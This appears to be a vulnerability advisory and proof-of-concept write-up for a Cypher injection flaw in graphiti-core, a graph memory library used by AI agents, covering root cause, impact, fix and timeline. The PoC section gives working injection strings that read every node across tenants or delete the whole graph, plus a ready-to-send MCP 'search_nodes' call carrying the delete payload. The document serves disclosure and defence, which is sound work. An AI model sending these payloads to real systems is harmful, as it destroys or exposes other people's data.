## https://sploitus.com/exploit?id=29F6A346-293F-556C-B0CE-8ABDFBC56F39
# CVE-2026-32247 โ Cypher Injection in graphiti-core via unsanitized node_labels
**Severity**: High (CVSS 8.1)
**CWE**: CWE-943 โ Improper Neutralization of Special Elements in Data Query Logic
**Affected**: `graphiti-core` <= 0.28.1 (pip)
**Fixed in**: 0.28.2
**Advisory**: [GHSA](https://github.com/getzep/graphiti/security/advisories)
**NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
---
## TL;DR
`graphiti-core` builds Cypher `WHERE` clauses by joining user-supplied node label strings with `|` and concatenating them into a raw query. An attacker can inject arbitrary Cypher operators, exfiltrate data from any graph node across all tenants, or delete the entire graph โ no parameterization, no validation anywhere in the chain.
---
## Affected component
**File**: `graphiti_core/search/search_filters.py`, lines 91โ92 and 134โ135
```python
# Vulnerable code โ exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
```
**Entry point**: `mcp_server/src/graphiti_mcp_server.py`, line 441
```python
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
```
The `entity_types` parameter flows from the MCP `search_nodes` tool call directly into the query builder. Both Neo4j and FalkorDB backends are affected. The Kuzu backend is not affected because it uses parameterized queries.
---
## Root cause
The `node_label_filter` value (`n:Label1|Label2`) is embedded into a Cypher query as:
```cypher
WHERE (n:Label1|Label2) AND ...
```
Because labels are joined by `|` and wrapped in parentheses by the caller, an attacker only needs to close the expression with `)` and inject new Cypher clauses. The `//` comment operator suppresses the rest of the original query.
---
## PoC
```python
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# โ n:Person|Organization โ WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# โ n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
```
**Via MCP tool call:**
```json
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
```
---
## Impact
- **Data exfiltration**: Read any node/relationship across all `group_id` namespaces
- **Data destruction**: `DETACH DELETE` wipes the entire graph
- **Tenant isolation bypass**: The `group_id` filter is applied after the injectable label filter โ injecting a `WITH` clause bypasses it entirely
- Graphiti is used as the memory layer in several AI agent frameworks; the MCP interface makes this remotely exploitable by any connected agent
---
## Fix
The patched version validates node labels against an allowlist of alphanumeric characters before interpolation, and the fulltext search path uses parameterized queries for `group_id` values.
---
## Timeline
- **Discovery**: 2026-03-xx
- **Reported**: GHSA private advisory
- **Patch released**: graphiti-core 0.28.2
- **CVE published**: CVE-2026-32247